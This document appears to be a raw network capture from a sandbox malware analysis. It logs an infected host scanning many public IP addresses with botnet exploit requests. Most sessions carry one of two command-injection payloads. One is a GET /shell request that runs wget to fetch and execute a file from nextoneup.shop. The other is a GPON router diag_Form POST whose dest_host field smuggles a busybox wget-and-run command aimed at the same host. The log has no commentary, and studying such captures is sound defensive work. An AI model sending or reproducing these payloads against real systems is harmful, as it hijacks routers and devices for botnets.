Apr 14, 2024 04:01:28.545917988 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.777803898 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 22:01:27 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1934	192.168.2.13	35462	23.62.250.71	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.744098902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.073319912 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:28 GMT Date: Sun, 14 Apr 2024 02:01:28 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 63 61 38 32 64 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 38 26 23 34 36 3b 35 63 63 62 66 33 64 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 63 61 38 32 64 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 38 26 23 34 36 3b 35 63 63 62 66 33 64 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2ca82d17.1713060088.5ccbf3dc<P>https://errors.edgesuite.net/9.2ca82d17.1713060088.5ccbf3dc</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1935	192.168.2.13	34912	212.193.59.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.779670000 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:29.132308960 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Sun, 14 Apr 2024 02:01:28 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1936	192.168.2.13	59842	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.954174042 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:31Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1937	192.168.2.13	59872	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:29.610771894 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:32Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1938	192.168.2.13	59836	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:29.672641993 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:32Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1939	192.168.2.13	59878	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.000711918 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:32Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1940	192.168.2.13	42680	148.107.96.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250061989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1941	192.168.2.13	35872	2.115.0.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250081062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1942	192.168.2.13	60646	37.18.21.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250111103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1943	192.168.2.13	51936	148.148.146.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250134945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1944	192.168.2.13	43642	210.58.53.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250149965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1945	192.168.2.13	47162	42.27.167.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250153065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1946	192.168.2.13	43968	210.15.250.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250180006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1947	192.168.2.13	33326	109.158.27.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250204086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1948	192.168.2.13	41354	94.108.244.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250226974 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1949	192.168.2.13	50706	212.7.108.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.250257969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1950	192.168.2.13	59884	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.286199093 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:33Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1951	192.168.2.13	54890	104.232.102.48	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.310744047 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1952	192.168.2.13	59886	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.348042965 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:33Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1953	192.168.2.13	36214	38.154.37.126	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.376214027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:30.613805056 CEST	416	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:30 GMT Server: Apache Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1954	192.168.2.13	36070	20.82.227.179	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.440565109 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1955	192.168.2.13	32868	23.251.140.149	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.455364943 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1956	192.168.2.13	34662	43.249.76.227	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.463558912 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.136192083 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:34.120260000 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.152184010 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.088155031 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1957	192.168.2.13	48046	156.250.20.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.463731050 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1958	192.168.2.13	38970	104.108.214.213	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:30.558774948 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
